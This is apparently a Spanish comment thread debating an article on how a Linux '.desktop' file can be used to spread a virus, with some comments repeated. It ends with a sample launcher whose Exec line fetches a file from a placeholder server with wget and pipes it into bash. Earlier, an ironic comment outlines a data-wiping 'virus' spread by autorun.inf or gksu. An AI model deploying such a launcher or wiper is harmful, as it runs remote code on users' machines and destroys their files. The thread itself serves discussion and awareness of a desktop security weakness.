El autor del artículo se declara usuario y partidario de Linux, pero precisamente por eso trata de demostrar que Linux no es intrínsecamente más seguro que Windows... al menos no un Linux equipado con cualquiera de los entornos de escritorio más utilizados, como KDE y Gnome. [...]
Es que nadie dice que Linux no puede tener virus, nadie puede impedir que un usuario se baje cualquier archivo y lo ejecute pero Linux sí es intrinsecamente más seguro que Windows por muchas razones, por ejemplo no comparte todo tu disco duro por defecto.
#13 Pero trendia que haber un usuario torpe que haga click en el .desktop. Los .desktop son los accesos directos, y solo funcionaria si un usuario, con un escritorio (y claro Xorg), hace click en el archivo, lo cual no es un problema.
Aparte que pasa ¿si estoy detrás de un proxy?, el wget no funcionaria, y el grandioso virus hoygan no funcionaria.
1. compila un programa que ponga a borrar todo lo que encuentre en la partición si es windows en c:/windows; si es linux en /home
2. envíaselo a un noob que lo ejecute sin chistar
3. que malo eres has creado un virus ahora repártelo en las memorias colocando un autorun.inf para windows (en linux es un lió mejor ponle gksu que seguro alguien mete la contraseña de root y podrás borrar también /root)
[/ironic]
pero por monesvol... que es esto ... como puede ser alguien tan ..
sin palabras...
#10#12 El articulo habla de que los .desktop pueden ejecutar un archivo aunque este no tenga permisos de ejecución y se encuentre en una partición noexec, que yo también soy linuxero pero puedo entender lo que dice el tipo este!
Comentarios
Duplicada y descartada: Cómo crear un virus para Linux en cinco pasos
Cómo crear un virus para Linux en cinco pasos
despuesdegoogle.com#0 "enlaza la fuente original: no enlaces a sitios intermedios que no añaden nada al original|
http://www.geekzone.co.nz/foobar/6229
"Linux no es intrínsecamente más seguro que Windows"
uuuu lo que ha dichooo...
Es que nadie dice que Linux no puede tener virus, nadie puede impedir que un usuario se baje cualquier archivo y lo ejecute pero Linux sí es intrinsecamente más seguro que Windows por muchas razones, por ejemplo no comparte todo tu disco duro por defecto.
#5 ¿C$, ADMIN$?
#7 porque seria aceptar que Linux no es 100% seguro y eso no lo permitiremos (lease en tono ironico)
#7 Y... porque es duplicada
#13 Pero trendia que haber un usuario torpe que haga click en el .desktop. Los .desktop son los accesos directos, y solo funcionaria si un usuario, con un escritorio (y claro Xorg), hace click en el archivo, lo cual no es un problema.
Aparte que pasa ¿si estoy detrás de un proxy?, el wget no funcionaria, y el grandioso virus hoygan no funcionaria.
http://www.geekzone.co.nz/foobar/6229
esa es la nota original
Porque votan duplicada si la otra fue descartada???
#7 #8 Eso digo yo! No la voy a descartar, así que ya podeis votar negativo
#10 Que groso sos, puedo ser tu amigo?
[ironic]
como crear un virus en 3 pasos.:
1. compila un programa que ponga a borrar todo lo que encuentre en la partición si es windows en c:/windows; si es linux en /home
2. envíaselo a un noob que lo ejecute sin chistar
3. que malo eres has creado un virus ahora repártelo en las memorias colocando un autorun.inf para windows (en linux es un lió mejor ponle gksu que seguro alguien mete la contraseña de root y podrás borrar también /root)
[/ironic]
pero por monesvol... que es esto ... como puede ser alguien tan ..
sin palabras...
#10 #12 El articulo habla de que los .desktop pueden ejecutar un archivo aunque este no tenga permisos de ejecución y se encuentre en una partición noexec, que yo también soy linuxero pero puedo entender lo que dice el tipo este!
[Desktop Entry]
Version=1.0
Encoding=UTF-8
Name=Click&Run
Comment=DEMO
Exec=xterm -e "wget http://server/file.txt -O /tmp/file.txt; cat /tmp/file.txt | bash"
Icon=gnome-terminal.png
Type=Application